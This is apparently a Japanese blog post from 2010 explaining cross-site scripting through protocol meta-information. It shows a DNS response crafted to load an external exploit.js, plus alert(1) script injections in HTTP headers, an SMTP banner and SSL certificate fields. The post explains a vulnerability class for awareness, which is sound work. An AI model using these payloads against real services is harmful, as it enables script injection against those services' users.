メタ情報によるXSS

   このエントリをはてなブックマークに登録    2010/10/6-1

先日、なかなか強烈なXSS攻撃手法が公開されていました。 DNSへの問い合わせ結果にJavaScriptを埋め込んでしまおうというものです。

自動生成されるWebページ中に、DNSによる名前解決結果がエスケープされない状態で含まれていると、JavaScriptが実行されてしまうという仕掛けです。

「hogehoge.example.com」が本来ならば「198.1.100.3」というようなIPアドレスが結果として返るところを、DNSに細工を行って以下のように返るようにします(/*\032*/はスペースの代わり。単に「/」でも可能。)。

<script/*\032*/src="http://nosuchdomainc-hoge.com/exploit.js"></script>

本来であればIPアドレスが表示されるところにscriptタグが入ることで、それをそのまま表示してしまうWebページ上で外部のJavaScriptが実行されるようになってしまいます。 たとえば、DNSによる名前解決結果をそのままWebに表示するようなCGIなどが影響を受けます。

他にも色々「使える」フィールドがある

さらに見て行くと、DNSの問い合わせだけではなく、HTTPのヘッダや、SMTPヘッダにJavaScriptを埋め込む事で、Web化されたサービスの脆弱性を突ける場合があるようです。

以下、「nCircle: Meta-Information Cross Site Scripting (PDF)」で紹介されている例です。

HTTP

HTTP/1.0 200 OK
Date: Wed, 02 Dec 2009 04:39:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.4-2ubuntu5.9
X-XSS: <script>alert(1)</script>
Connection: close
Content-Type: text/html; charset=UTF-8

SMTP

220 [redacted] ESMTP Postfix <script>alert(1)</script>

SSL

Loading 'screen' into random state - done
CONNECTED(00000754)
depth=0 /C=CA/ST=<script>alert(1)</script>/L=<script>alert(1)</script>/O=<script>alert(1)</script>/OU=<script>alert(1)</script>/CN=<script>alert(1)</script>/emailAddress=<script>alert(1)</script>
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=CA/ST=<script>alert(1)</script>/L=<script>alert(1)</script>/O=<script>alert(1)</script>/OU=<script>alert(1)</script>/CN=<script>alert(1)</script>/emailAddress=<script>alert(1)</script>
verify return:1

最後に

様々なものがWeb化されていったことで、今まで<script>タグが入ることを想定されていなかったインターネット上の各種プロトコルフィールドに<script>タグを入れてみようというのは、まさに「その発想はなかった。。。」という感じでした。

(via tss_ontapさんのTweet)

関連

   このエントリをはてなブックマークに登録